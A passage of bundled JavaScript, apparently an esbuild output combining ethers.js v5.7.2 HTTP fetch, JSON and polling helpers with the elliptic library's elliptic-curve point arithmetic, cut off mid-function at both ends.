}\n }\n let body2 = response.body;\n if (allow304 && response.statusCode === 304) {\n body2 = null;\n } else if (!errorPassThrough && (response.statusCode < 200 || response.statusCode >= 300)) {\n runningTimeout.cancel();\n logger12.throwError(\"bad response\", Logger.errors.SERVER_ERROR, {\n status: response.statusCode,\n headers: response.headers,\n body: bodyify(body2, response.headers ? response.headers[\"content-type\"] : null),\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n url\n });\n }\n if (processFunc) {\n try {\n const result = yield processFunc(body2, response);\n runningTimeout.cancel();\n return result;\n } catch (error) {\n if (error.throttleRetry && attempt < attemptLimit) {\n let tryAgain = true;\n if (throttleCallback) {\n tryAgain = yield throttleCallback(attempt, url);\n }\n if (tryAgain) {\n const timeout2 = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt)));\n yield staller(timeout2);\n continue;\n }\n }\n runningTimeout.cancel();\n logger12.throwError(\"processing response error\", Logger.errors.SERVER_ERROR, {\n body: bodyify(body2, response.headers ? response.headers[\"content-type\"] : null),\n error,\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n url\n });\n }\n }\n runningTimeout.cancel();\n return body2;\n }\n return logger12.throwError(\"failed response\", Logger.errors.SERVER_ERROR, {\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n url\n });\n });\n }();\n return Promise.race([runningTimeout.promise, runningFetch]);\n}\nfunction fetchJson(connection, json, processFunc) {\n let processJsonFunc = (value, response) => {\n let result = null;\n if (value != null) {\n try {\n result = JSON.parse(toUtf8String(value));\n } catch (error) {\n logger12.throwError(\"invalid JSON\", Logger.errors.SERVER_ERROR, {\n body: value,\n error\n });\n }\n }\n if (processFunc) {\n result = processFunc(result, response);\n }\n return result;\n };\n let body = null;\n if (json != null) {\n body = toUtf8Bytes(json);\n const updated = typeof connection === \"string\" ? { url: connection } : shallowCopy(connection);\n if (updated.headers) {\n const hasContentType = Object.keys(updated.headers).filter((k) => k.toLowerCase() === \"content-type\").length !== 0;\n if (!hasContentType) {\n updated.headers = shallowCopy(updated.headers);\n updated.headers[\"content-type\"] = \"application/json\";\n }\n } else {\n updated.headers = { \"content-type\": \"application/json\" };\n }\n connection = updated;\n }\n return _fetchData(connection, body, processJsonFunc);\n}\nfunction poll(func, options) {\n if (!options) {\n options = {};\n }\n options = shallowCopy(options);\n if (options.floor == null) {\n options.floor = 0;\n }\n if (options.ceiling == null) {\n options.ceiling = 1e4;\n }\n if (options.interval == null) {\n options.interval = 250;\n }\n return new Promise(function(resolve, reject) {\n let timer2 = null;\n let done = false;\n const cancel = () => {\n if (done) {\n return false;\n }\n done = true;\n if (timer2) {\n clearTimeout(timer2);\n }\n return true;\n };\n if (options.timeout) {\n timer2 = setTimeout(() => {\n if (cancel()) {\n reject(new Error(\"timeout\"));\n }\n }, options.timeout);\n }\n const retryLimit = options.retryLimit;\n let attempt = 0;\n function check() {\n return func().then(function(result) {\n if (result !== void 0) {\n if (cancel()) {\n resolve(result);\n }\n } else if (options.oncePoll) {\n options.oncePoll.once(\"poll\", check);\n } else if (options.onceBlock) {\n options.onceBlock.once(\"block\", check);\n } else if (!done) {\n attempt++;\n if (attempt > retryLimit) {\n if (cancel()) {\n reject(new Error(\"retry limit reached\"));\n }\n return;\n }\n let timeout = options.interval * parseInt(String(Math.random() * Math.pow(2, attempt)));\n if (timeout < options.floor) {\n timeout = options.floor;\n }\n if (timeout > options.ceiling) {\n timeout = options.ceiling;\n }\n setTimeout(check, timeout);\n }\n return null;\n }, function(error) {\n if (cancel()) {\n reject(error);\n }\n });\n }\n check();\n });\n}\n\n// node_modules/@ethersproject/providers/lib.esm/base-provider.js\nvar import_bech32 = __toESM(require_bech32());\n\n// node_modules/@ethersproject/providers/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version13 = \"providers/5.7.2\";\n\n// node_modules/@ethersproject/providers/lib.esm/formatter.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/transactions/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/signing-key/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/signing-key/lib.esm/elliptic.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar import_bn2 = __toESM(require_bn());\nvar import_hash2 = __toESM(require_hash());\nfunction createCommonjsModule(fn, basedir, module) {\n return module = {\n path: basedir,\n exports: {},\n require: function(path, base2) {\n return commonjsRequire(path, base2 === void 0 || base2 === null ? module.path : base2);\n }\n }, fn(module, module.exports), module.exports;\n}\nfunction commonjsRequire() {\n throw new Error(\"Dynamic requires are not currently supported by @rollup/plugin-commonjs\");\n}\nvar minimalisticAssert = assert;\nfunction assert(val, msg) {\n if (!val)\n throw new Error(msg || \"Assertion failed\");\n}\nassert.equal = function assertEqual(l, r2, msg) {\n if (l != r2)\n throw new Error(msg || \"Assertion failed: \" + l + \" != \" + r2);\n};\nvar utils_1 = createCommonjsModule(function(module, exports) {\n \"use strict\";\n var utils = exports;\n function toArray2(msg, enc) {\n if (Array.isArray(msg))\n return msg.slice();\n if (!msg)\n return [];\n var res = [];\n if (typeof msg !== \"string\") {\n for (var i = 0; i < msg.length; i++)\n res[i] = msg[i] | 0;\n return res;\n }\n if (enc === \"hex\") {\n msg = msg.replace(/[^a-z0-9]+/ig, \"\");\n if (msg.length % 2 !== 0)\n msg = \"0\" + msg;\n for (var i = 0; i < msg.length; i += 2)\n res.push(parseInt(msg[i] + msg[i + 1], 16));\n } else {\n for (var i = 0; i < msg.length; i++) {\n var c = msg.charCodeAt(i);\n var hi = c >> 8;\n var lo = c & 255;\n if (hi)\n res.push(hi, lo);\n else\n res.push(lo);\n }\n }\n return res;\n }\n utils.toArray = toArray2;\n function zero2(word) {\n if (word.length === 1)\n return \"0\" + word;\n else\n return word;\n }\n utils.zero2 = zero2;\n function toHex2(msg) {\n var res = \"\";\n for (var i = 0; i < msg.length; i++)\n res += zero2(msg[i].toString(16));\n return res;\n }\n utils.toHex = toHex2;\n utils.encode = function encode6(arr, enc) {\n if (enc === \"hex\")\n return toHex2(arr);\n else\n return arr;\n };\n});\nvar utils_1$1 = createCommonjsModule(function(module, exports) {\n \"use strict\";\n var utils = exports;\n utils.assert = minimalisticAssert;\n utils.toArray = utils_1.toArray;\n utils.zero2 = utils_1.zero2;\n utils.toHex = utils_1.toHex;\n utils.encode = utils_1.encode;\n function getNAF2(num, w, bits) {\n var naf = new Array(Math.max(num.bitLength(), bits) + 1);\n naf.fill(0);\n var ws = 1 << w + 1;\n var k = num.clone();\n for (var i = 0; i < naf.length; i++) {\n var z;\n var mod = k.andln(ws - 1);\n if (k.isOdd()) {\n if (mod > (ws >> 1) - 1)\n z = (ws >> 1) - mod;\n else\n z = mod;\n k.isubn(z);\n } else {\n z = 0;\n }\n naf[i] = z;\n k.iushrn(1);\n }\n return naf;\n }\n utils.getNAF = getNAF2;\n function getJSF2(k1, k2) {\n var jsf = [\n [],\n []\n ];\n k1 = k1.clone();\n k2 = k2.clone();\n var d1 = 0;\n var d2 = 0;\n var m8;\n while (k1.cmpn(-d1) > 0 || k2.cmpn(-d2) > 0) {\n var m14 = k1.andln(3) + d1 & 3;\n var m24 = k2.andln(3) + d2 & 3;\n if (m14 === 3)\n m14 = -1;\n if (m24 === 3)\n m24 = -1;\n var u1;\n if ((m14 & 1) === 0) {\n u1 = 0;\n } else {\n m8 = k1.andln(7) + d1 & 7;\n if ((m8 === 3 || m8 === 5) && m24 === 2)\n u1 = -m14;\n else\n u1 = m14;\n }\n jsf[0].push(u1);\n var u2;\n if ((m24 & 1) === 0) {\n u2 = 0;\n } else {\n m8 = k2.andln(7) + d2 & 7;\n if ((m8 === 3 || m8 === 5) && m14 === 2)\n u2 = -m24;\n else\n u2 = m24;\n }\n jsf[1].push(u2);\n if (2 * d1 === u1 + 1)\n d1 = 1 - d1;\n if (2 * d2 === u2 + 1)\n d2 = 1 - d2;\n k1.iushrn(1);\n k2.iushrn(1);\n }\n return jsf;\n }\n utils.getJSF = getJSF2;\n function cachedProperty(obj, name, computer) {\n var key2 = \"_\" + name;\n obj.prototype[name] = function cachedProperty2() {\n return this[key2] !== void 0 ? this[key2] : this[key2] = computer.call(this);\n };\n }\n utils.cachedProperty = cachedProperty;\n function parseBytes(bytes) {\n return typeof bytes === \"string\" ? utils.toArray(bytes, \"hex\") : bytes;\n }\n utils.parseBytes = parseBytes;\n function intFromLE(bytes) {\n return new import_bn2.default(bytes, \"hex\", \"le\");\n }\n utils.intFromLE = intFromLE;\n});\nvar getNAF = utils_1$1.getNAF;\nvar getJSF = utils_1$1.getJSF;\nvar assert$1 = utils_1$1.assert;\nfunction BaseCurve(type, conf) {\n this.type = type;\n this.p = new import_bn2.default(conf.p, 16);\n this.red = conf.prime ? import_bn2.default.red(conf.prime) : import_bn2.default.mont(this.p);\n this.zero = new import_bn2.default(0).toRed(this.red);\n this.one = new import_bn2.default(1).toRed(this.red);\n this.two = new import_bn2.default(2).toRed(this.red);\n this.n = conf.n && new import_bn2.default(conf.n, 16);\n this.g = conf.g && this.pointFromJSON(conf.g, conf.gRed);\n this._wnafT1 = new Array(4);\n this._wnafT2 = new Array(4);\n this._wnafT3 = new Array(4);\n this._wnafT4 = new Array(4);\n this._bitLength = this.n ? this.n.bitLength() : 0;\n var adjustCount = this.n && this.p.div(this.n);\n if (!adjustCount || adjustCount.cmpn(100) > 0) {\n this.redN = null;\n } else {\n this._maxwellTrick = true;\n this.redN = this.n.toRed(this.red);\n }\n}\nvar base = BaseCurve;\nBaseCurve.prototype.point = function point() {\n throw new Error(\"Not implemented\");\n};\nBaseCurve.prototype.validate = function validate() {\n throw new Error(\"Not implemented\");\n};\nBaseCurve.prototype._fixedNafMul = function _fixedNafMul(p, k) {\n assert$1(p.precomputed);\n var doubles = p._getDoubles();\n var naf = getNAF(k, 1, this._bitLength);\n var I = (1 << doubles.step + 1) - (doubles.step % 2 === 0 ? 2 : 1);\n I /= 3;\n var repr = [];\n var j;\n var nafW;\n for (j = 0; j < naf.length; j += doubles.step) {\n nafW = 0;\n for (var l = j + doubles.step - 1; l >= j; l--)\n nafW = (nafW << 1) + naf[l];\n repr.push(nafW);\n }\n var a = this.jpoint(null, null, null);\n var b = this.jpoint(null, null, null);\n for (var i = I; i > 0; i--) {\n for (j = 0; j < repr.length; j++) {\n nafW = repr[j];\n if (nafW === i)\n b = b.mixedAdd(doubles.points[j]);\n else if (nafW === -i)\n b = b.mixedAdd(doubles.points[j].neg());\n }\n a = a.add(b);\n }\n return a.toP();\n};\nBaseCurve.prototype._wnafMul = function _wnafMul(p, k) {\n var w = 4;\n var nafPoints = p._getNAFPoints(w);\n w = nafPoints.wnd;\n var wnd = nafPoints.points;\n var naf = getNAF(k, w, this._bitLength);\n var acc = this.jpoint(null, null, null);\n for (var i = naf.length - 1; i >= 0; i--) {\n for (var l = 0; i >= 0 && naf[i] === 0; i--)\n l++;\n if (i >= 0)\n l++;\n acc = acc.dblp(l);\n if (i < 0)\n break;\n var z = naf[i];\n assert$1(z !== 0);\n if (p.type === \"affine\") {\n if (z > 0)\n acc = acc.mixedAdd(wnd[z - 1 >> 1]);\n else\n acc = acc.mixedAdd(wnd[-z - 1 >> 1].neg());\n } else {\n if (z > 0)\n acc = acc.add(wnd[z - 1 >> 1]);\n else\n acc = acc.add(wnd[-z - 1 >> 1].neg());\n }\n }\n return p.type === \"affine\" ? acc.toP() : acc;\n};\nBaseCurve.prototype._wnafMulAdd = function _wnafMulAdd(defW, points, coeffs, len, jacobianResult) {\n var wndWidth = this._wnafT1;\n var wnd = this._wnafT2;\n var naf = this._wnafT3;\n var max = 0;\n var i;\n var j;\n var p;\n for (i = 0; i < len; i++) {\n p = points[i];\n var nafPoints = p._getNAFPoints(defW);\n wndWidth[i] = nafPoints.wnd;\n wnd[i] = nafPoints.points;\n }\n for (i = len - 1; i >= 1; i -= 2) {\n var a = i - 1;\n var b = i;\n if (wndWidth[a] !== 1 || wndWidth[b] !== 1) {\n naf[a] = getNAF(coeffs[a], wndWidth[a], this._bitLength);\n naf[b] = getNAF(coeffs[b], wndWidth[b], this._bitLength);\n max = Math.max(naf[a].length, max);\n max = Math.max(naf[b].length, max);\n continue;\n }\n var comb = [\n points[a],\n /* 1 */\n null,\n /* 3 */\n null,\n /* 5 */\n points[b]\n /* 7 */\n ];\n if (points[a].y.cmp(points[b].y) === 0) {\n comb[1] = points[a].add(points[b]);\n comb[2] = points[a].toJ().mixedAdd(points[b].neg());\n } else if (points[a].y.cmp(points[b].y.redNeg()) === 0) {\n comb[1] = points[a].toJ().mixedAdd(points[b]);\n comb[2] = points[a].add(points[b].neg());\n } else {\n comb[1] = points[a].toJ().mixedAdd(points[b]);\n comb[2] = points[a].toJ().mixedAdd(points[b].neg());\n }\n var index = [\n -3,\n /* -1 -1 */\n -1,\n /* -1 0 */\n -5,\n /* -1 1 */\n -7,\n /* 0 -1 */\n 0,\n /* 0 0 */\n 7,\n /* 0 1 */\n 5,\n /* 1 -1 */\n 1,\n /* 1 0 */\n 3\n /* 1 1 */\n ];\n var jsf = getJSF(coeffs[a], coeffs[b]);\n max = Math.max(jsf[0].length, max);\n naf[a] = new Array(max);\n naf[b] = new Array(max);\n for (j = 0; j < max; j++) {\n var ja = jsf[0][j] | 0;\n var jb = jsf[1][j] | 0;\n naf[a][j] = index[(ja + 1) * 3 + (jb + 1)];\n naf[b][j] = 0;\n wnd[a] = comb;\n }\n }\n var acc = this.jpoint(null, null, null);\n var tmp = this._wnafT4;\n for (i = max; i >= 0; i--) {\n var k = 0;\n while (i >= 0) {\n var zero = true;\n for (j = 0; j < len; j++) {\n tmp[j] = naf[j][i] | 0;\n if (tmp[j] !== 0)\n zero = false;\n }\n if (!zero)\n break;\n k++;\n i--;\n }\n if (i >= 0)\n k++;\n acc = acc.dblp(k);\n if (i < 0)\n break;\n for (j = 0; j < len; j++) {\n var z = tmp[j];\n p;\n if (z === 0)\n continue;\n else if (z > 0)\n p = wnd[j][z - 1 >> 1];\n else if (z < 0)\n p = wnd[j][-z - 1 >> 1].neg();\n if (p.type === \"affine\")\n acc = acc.mixedAdd(p);\n else\n acc = acc.add(p);\n }\n }\n for (i = 0; i < len; i++)\n wnd[i] = null;\n if (jacobianResult)\n return acc;\n else\n return acc.toP();\n};\nfunction BasePoint(curve, type) {\n this.curve = curve;\n this.type = type;\n this.precomputed = null;\n}\nBaseCurve.BasePoint = BasePoint;\nBasePoint.prototype.eq = function eq() {\n throw new Error(\"Not implemented\");\n};\nBasePoint.prototype.validate = function validate2() {\n return this.curve.validate(this);\n};\nBaseCurve.prototype.decodePoint = function decodePoint(bytes, enc) {\n bytes = utils_1$1.toArray(bytes, enc);\n var len = this.p.byteLength();\n if ((bytes[0] === 4 || bytes[0] === 6 || bytes[0] === 7) && bytes.length - 1 === 2 * len) {\n if (bytes[0] === 6)\n assert$1(bytes[bytes.length - 1] % 2 === 0);\n else if (bytes[0] === 7)\n assert$1(bytes[bytes.length - 1] % 2 === 1);\n var res = this.point(\n bytes.slice(1, 1 + len),\n bytes.slice(1 + len, 1 + 2 * len)\n );\n return res;\n } else if ((bytes[0] === 2 || bytes[0] === 3) && bytes.length - 1 === len) {\n return this.pointFromX(bytes.slice(1, 1 + len), bytes[0] === 3);\n }\n throw new Error(\"Unknown point format\");\n};\nBasePoint.prototype.encodeCompressed = function encodeCompressed(enc) {\n return this.encode(enc, true);\n};\nBasePoint.prototype._encode = function _encode2(compact) {\n var len = this.curve.p.byteLength();\n var x = this.getX().toArray(\"be\", len);\n if (compact)\n return [this.getY().isEven() ? 2 : 3].concat(x);\n return [4].concat(x, this.getY().toArray(\"be\", len));\n};\nBasePoint.prototype.encode = function encode3(enc, compact) {\n return utils_1$1.encode(this._encode(compact), enc);\n};\nBasePoint.prototype.precompute = function precompute(power) {\n if (this.precomputed)\n return this;\n var precomputed = {\n doubles: null,\n naf: null,\n beta: null\n };\n precomputed.naf = this._getNAFPoints(8);\n precomputed.doubles = this._getDoubles(4, power);\n precomputed.beta = this._getBeta();\n this.precomputed = precomputed;\n return this;\n};\nBasePoint.prototype._hasDoubles = function _hasDoubles(k) {\n if (!this.precomputed)\n return false;\n var doubles = this.precomputed.doubles;\n if (!doubles)\n return false;\n return doubles.points.length >= Math.ceil((k.bitLength() + 1) / doubles.step);\n};\nBasePoint.prototype._getDoubles = function _getDoubles(step, power) {\n if (this.precomputed && this.precomputed.doubles)\n return this.precomputed.doubles;\n var doubles = [this];\n var acc = this;\n for (var i = 0; i < power; i += step) {\n for (var j = 0; j < step; j++)\n acc = acc.dbl();\n doubles.push(acc);\n }\n return {\n step,\n points: doubles\n };\n};\nBasePoint.prototype._getNAFPoints = function _getNAFPoints(wnd) {\n if (this.precomputed && this.precomputed.naf)\n return this.precomputed.naf;\n var res = [this];\n var max = (1 << wnd) - 1;\n var dbl3 = max === 1 ? null : this.dbl();\n for (var i = 1; i < max; i++)\n res[i] = res[i - 1].add(dbl3);\n return {\n wnd,\n points: res\n };\n};\nBasePoint.prototype._getBeta = function _getBeta() {\n return null;\n};\nBasePoint.prototype.dblp = function dblp(k) {\n var r2 = this;\n for (var i = 0; i < k; i++)\n r2 = r2.dbl();\n return r2;\n};\nvar inherits_browser = createCommonjsModule(function(module) {\n if (typeof Object.create === \"function\") {\n module.exports = function inherits2(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor;\n ctor.prototype = Object.create(superCtor.prototype, {\n constructor: {\n value: ctor,\n enumerable: false,\n writable: true,\n configurable: true\n }\n });\n }\n };\n } else {\n module.exports = function inherits2(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor;\n var TempCtor = function() {\n };\n TempCtor.prototype = superCtor.prototype;\n ctor.prototype = new TempCtor();\n ctor.prototype.constructor = ctor;\n }\n };\n }\n});\nvar assert$2 = utils_1$1.assert;\nfunction ShortCurve(conf) {\n base.call(this, \"short\", conf);\n this.a = new import_bn2.default(conf.a, 16).toRed(this.red);\n this.b = new import_bn2.default(conf.b, 16).toRed(this.red);\n this.tinv = this.two.redInvm();\n this.zeroA = this.a.fromRed().cmpn(0) === 0;\n this.threeA = this.a.fromRed().sub(this.p).cmpn(-3) === 0;\n this.endo = this._getEndomorphism(conf);\n this._endoWnafT1 = new Array(4);\n this._endoWnafT2 = new Array(4);\n}\ninherits_browser(ShortCurve, base);\nvar short_1 = ShortCurve;\nShortCurve.prototype._getEndomorphism = function _getEndomorphism(conf) {\n if (!this.zeroA || !this.g || !this.n || this.p.modn(3) !== 1)\n return;\n var beta;\n var lambda;\n if (conf.beta) {\n beta = new import_bn2.default(conf.beta, 16).toRed(this.red);\n } else {\n var betas = this._getEndoRoots(this.p);\n beta = betas[0].cmp(betas[1]) < 0 ? betas[0] : betas[1];\n beta = beta.toRed(this.red);\n }\n if (conf.lambda) {\n lambda = new import_bn2.default(conf.lambda, 16);\n } else {\n var lambdas = this._getEndoRoots(this.n);\n if (this.g.mul(lambdas[0]).x.cmp(this.g.x.redMul(beta)) === 0) {\n lambda = lambdas[0];\n } else {\n lambda = lambdas[1];\n assert$2(this.g.mul(lambda).x.cmp(this.g.x.redMul(beta)) === 0);\n }\n }\n var basis;\n if (conf.basis) {\n basis = conf.basis.map(function(vec) {\n return {\n a: new import_bn2.default(vec.a, 16),\n b: new import_bn2.default(vec.b, 16)\n };\n });\n } else {\n basis = this._getEndoBasis(lambda);\n }\n return {\n beta,\n lambda,\n basis\n };\n};\nShortCurve.prototype._getEndoRoots = function _getEndoRoots(num) {\n var red = num === this.p ? this.red : import_bn2.default.mont(num);\n var tinv = new import_bn2.default(2).toRed(red).redInvm();\n var ntinv = tinv.redNeg();\n var s = new import_bn2.default(3).toRed(red).redNeg().redSqrt().redMul(tinv);\n var l1 = ntinv.redAdd(s).fromRed();\n var l2 = ntinv.redSub(s).fromRed();\n return [l1, l2];\n};\nShortCurve.prototype._getEndoBasis = function _getEndoBasis(lambda) {\n var aprxSqrt = this.n.ushrn(Math.floor(this.n.bitLength() / 2));\n var u = lambda;\n var v = this.n.clone();\n var x1 = new import_bn2.default(1);\n var y1 = new import_bn2.default(0);\n var x2 = new import_bn2.default(0);\n var y2 = new import_bn2.default(1);\n var a0;\n var b0;\n var a1;\n var b1;\n var a2;\n var b2;\n var prevR;\n var i = 0;\n var r2;\n var x;\n while (u.cmpn(0) !== 0) {\n var q = v.div(u);\n r2 = v.sub(q.mul(u));\n x = x2.sub(q.mul(x1));\n var y = y2.sub(q.mul(y1));\n if (!a1 && r2.cmp(aprxSqrt) < 0) {\n a0 = prevR.neg();\n b0 = x1;\n a1 = r2.neg();\n b1 = x;\n } else if (a1 && ++i === 2) {\n break;\n }\n prevR = r2;\n v = u;\n u = r2;\n x2 = x1;\n x1 = x;\n y2 = y1;\n y1 = y;\n }\n a2 = r2.neg();\n b2 = x;\n var len1 = a1.sqr().add(b1.sqr());\n var len2 = a2.sqr().add(b2.sqr());\n if (len2.cmp(len1) >= 0) {\n a2 = a0;\n b2 = b0;\n }\n if (a1.negative) {\n a1 = a1.neg();\n b1 = b1.neg();\n }\n if (a2.negative) {\n a2 = a2.neg();\n b2 = b2.neg();\n }\n return [\n { a: a1, b: b1 },\n { a: a2, b: b2 }\n ];\n};\nShortCurve.prototype._endoSplit = function _endoSplit(k) {\n var basis = this.endo.basis;\n var v1 = basis[0];\n var v2 = basis[1];\n var c1 = v2.b.mul(k).divRound(this.n);\n var c2 = v1.b.neg().mul(k).divRound(this.n);\n var p1 = c1.mul(v1.a);\n var p2 = c2.mul(v2.a);\n var q1 = c1.mul(v1.b);\n var q2 = c2.mul(v2.b);\n var k1 = k.sub(p1).sub(p2);\n var k2 = q1.add(q2).neg();\n return { k1, k2 };\n};\nShortCurve.prototype.pointFromX = function pointFromX(x, odd) {\n x = new import_bn2.default(x, 16);\n if (!x.red)\n x = x.toRed(this.red);\n var y2 = x.redSqr().redMul(x).redIAdd(x.redMul(this.a)).redIAdd(this.b);\n var y = y2.redSqrt();\n if (y.redSqr().redSub(y2).cmp(this.zero) !== 0)\n throw new Error(\"invalid point\");\n var isOdd = y.fromRed().isOdd();\n if (odd && !isOdd || !odd && isOdd)\n y = y.redNeg();\n return this.point(x, y);\n};\nShortCurve.prototype.validate = function validate3(point3) {\n if (point3.inf)\n return true;\n var x = point3.x;\n var y = point3.y;\n var ax = this.a.redMul(x);\n var rhs = x.redSqr().redMul(x).redIAdd(ax).redIAdd(this.b);\n return y.redSqr().redISub(rhs).cmpn(0) === 0;\n};\nShortCurve.prototype._endoWnafMulAdd = function _endoWnafMulAdd(points, coeffs, jacobianResult) {\n var npoints = this._endoWnafT1;\n var ncoeffs = this._endoWnafT2;\n for (var i = 0; i < points.length; i++) {\n var split = this._endoSplit(coeffs[i]);\n var p = points[i];\n var beta = p._getBeta();\n if (split.k1.negative) {\n split.k1.ineg();\n p = p.neg(true);\n }\n if (split.k2.negative) {\n split.k2.ineg();\n beta = beta.neg(true);\n }\n npoints[i * 2] = p;\n npoints[i * 2 + 1] = beta;\n ncoeffs[i * 2] = split.k1;\n ncoeffs[i * 2 + 1] = split.k2;\n }\n var res = this._wnafMulAdd(1, npoints, ncoeffs, i * 2, jacobianResult);\n for (var j = 0; j < i * 2; j++) {\n npoints[j] = null;\n ncoeffs[j] = null;\n }\n return res;\n};\nfunction Point(curve, x, y, isRed) {\n base.BasePoint.call(this, curve, \"affine\");\n if (x === null && y === null) {\n this.x = null;\n this.y = null;\n this.inf = true;\n } else {\n this.x = new import_bn2.default(x, 16);\n this.y = new import_bn2.default(y, 16);\n if (isRed) {\n this.x.forceRed(this.curve.red);\n this.y.forceRed(this.curve.red);\n }\n if (!this.x.red)\n this.x = this.x.toRed(this.curve.red);\n if (!this.y.red)\n this.y = this.y.toRed(this.curve.red);\n this.inf = false;\n }\n}\ninherits_browser(Point, base.BasePoint);\nShortCurve.prototype.point = function point2(x, y, isRed) {\n return new Point(this, x, y, isRed);\n};\nShortCurve.prototype.pointFromJSON = function pointFromJSON(obj, red) {\n return Point.fromJSON(this, obj, red);\n};\nPoint.prototype._getBeta = function _getBeta2() {\n if (!this.curve.endo)\n return;\n var pre = this.precomputed;\n if (pre && pre.beta)\n return pre.beta;\n var beta = this.curve.point(this.x.redMul(this.curve.endo.beta), this.y);\n if (pre) {\n var curve = this.curve;\n var endoMul = function(p) {\n return curve.point(p.x.redMul(curve.endo.beta), p.y);\n };\n pre.beta = beta;\n beta.precomputed = {\n beta: null,\n naf: pre.naf && {\n wnd: pre.naf.wnd,\n points: pre.naf.points.map(endoMul)\n },\n doubles: pre.doubles && {\n step: pre.doubles.step,\n points: pre.doubles.points.map(endoMul)\n }\n };\n }\n return beta;\n};\nPoint.prototype.toJSON = function toJSON() {\n if (!this.precomputed)\n return [this.x, this.y];\n return [this.x, this.y, this.precomputed && {\n doubles: this.precomputed.doubles && {\n step: this.precomputed.doubles.step,\n points: this.precomputed.doubles.points.slice(1)\n },\n naf: this.precomputed.naf && {\n wnd: this.precomputed.naf.wnd,\n points: this.precomputed.naf.points.slice(1)\n }\n }];\n};\nPoint.fromJSON = function fromJSON(curve, obj, red) {\n if (typeof obj === \"string\")\n obj = JSON.parse(obj);\n var res = curve.point(obj[0], obj[1], red);\n if (!obj[2])\n return res;\n function obj2point(obj2) {\n return curve.point(obj2[0], obj2[1], red);\n }\n var pre = obj[2];\n res.precomputed = {\n beta: null,\n doubles: pre.doubles && {\n step: pre.doubles.step,\n points: [res].concat(pre.doubles.points.map(obj2point))\n },\n naf: pre.naf && {\n wnd: pre.naf.wnd,\n points: [res].concat(pre.naf.points.map(obj2point))\n }\n };\n return res;\n};\nPoint.prototype.inspect = function inspect() {\n if (this.isInfinity())\n return \"\";\n return \"\";\n};\nPoint.prototype.isInfinity = function isInfinity() {\n return this.inf;\n};\nPoint.prototype.add = function add(p) {\n if (this.inf)\n return p;\n if (p.inf)\n return this;\n if (this.eq(p))\n return this.dbl();\n if (this.neg().eq(p))\n return this.curve.point(null, null);\n if (this.x.cmp(p.x) === 0)\n return this.curve.point(null, null);\n var c = this.y.redSub(p.y);\n if (c.cmpn(0) !== 0)\n c = c.redMul(this.x.redSub(p.x).redInvm());\n var nx = c.redSqr().redISub(this.x).redISub(p.x);\n var ny = c.redMul(this.x.redSub(nx)).redISub(this.y);\n return this.curve.point(nx, ny);\n};\nPoint.prototype.dbl = function dbl() {\n if (this.inf)\n return this;\n var ys1 = this.y.redAdd(this.y);\n if (ys1.cmpn(0) === 0)\n return this.curve.point(null, null);\n var a = this.curve.a;\n var x2 = this.x.redSqr();\n var dyinv = ys1.redInvm();\n var c = x2.redAdd(x2).redIAdd(x2).redIAdd(a).redMul(dyinv);\n var nx = c.redSqr().redISub(this.x.redAdd(this.x));\n var ny = c.redMul(this.x.redSub(nx)).redISub(this.y);\n return this.curve.point(nx, ny);\n};\nPoint.prototype.getX = function getX() {\n return this.x.fromRed();\n};\nPoint.prototype.getY = function getY() {\n return this.y.fromRed();\n};\nPoint.prototype.mul = function mul(k) {\n k = new import_bn2.default(k, 16);\n if (this.isInfinity())\n return this;\n else if (this._hasDoubles(k))\n return this.curve._fixedNafMul(this, k);\n else if (this.curve.endo)\n return this.curve._endoWnafMulAdd([this], [k]);\n else\n return this.curve._wnafMul(this, k);\n};\nPoint.prototype.mulAdd = function mulAdd(k1, p2, k2) {\n var points = [this, p2];\n var coeffs = [k1, k2];\n if (this.curve.endo)\n return this.curve._endoWnafMulAdd(points, coeffs);\n else\n return this.curve._wnafMulAdd(1, points, coeffs, 2);\n};\nPoint.prototype.jmulAdd = function jmulAdd(k1, p2, k2) {\n var points = [this, p2];\n var coeffs = [k1, k2];\n if (this.curve.endo)\n return this.curve._endoWnafMulAdd(points, coeffs, true);\n else\n return this.curve._wnafMulAdd(1, points, coeffs, 2, true);\n};\nPoint.prototype.eq = function eq2(p) {\n return this === p || this.inf === p.inf && (this.inf || this.x.cmp(p.x) === 0 && this.y.cmp(p.y) === 0);\n};\nPoint.prototype.neg = function neg(_precompute) {\n if (this.inf)\n return this;\n var res = this.curve.point(this.x, this.y.redNeg());\n if (_precompute && this.precomputed) {\n var pre = this.precomputed;\n var negate = function(p) {\n return p.neg();\n };\n res.precomputed = {\n naf: pre.naf && {\n wnd: pre.naf.wnd,\n points: pre.naf.points.map(negate)\n },\n doubles: pre.doubles && {\n step: pre.doubles.step,\n points: pre.doubles.points.map(negate)\n }\n };\n }\n return res;\n};\nPoint.prototype.toJ = function toJ() {\n if (this.inf)\n return this.curve.jpoint(null, null, null);\n var res = this.curve.jpoint(this.x, this.y, this.curve.one);\n return res;\n};\nfunction JPoint(curve, x, y, z) {\n base.BasePoint.call(this, curve, \"jacobian\");\n if (x === null && y === null && z === null) {\n this.x = this.curve.one;\n this.y = this.curve.one;\n this.z = new import_bn2.default(0);\n } else {\n this.x = new import_bn2.default(x, 16);\n this.y = new import_bn2.default(y, 16);\n this.z = new import_bn2.default(z, 16);\n }\n if (!this.x.red)\n this.x = this.x.toRed(this.curve.red);\n if (!this.y.red)\n this.y = this.y.toRed(this.curve.red);\n if (!this.z.red)\n this.z = this.z.toRed(this.curve.red);\n this.zOne = this.z === this.curve.one;\n}\ninherits_browser(JPoint, base.BasePoint);\nShortCurve.prototype.jpoint = function jpoint(x, y, z) {\n return new JPoint(this, x, y, z);\n};\nJPoint.prototype.toP = function toP() {\n if (this.isInfinity())\n return this.curve.point(null, null);\n var zinv = this.z.redInvm();\n var zinv2 = zinv.redSqr();\n var ax = this.x.redMul(zinv2);\n var ay = 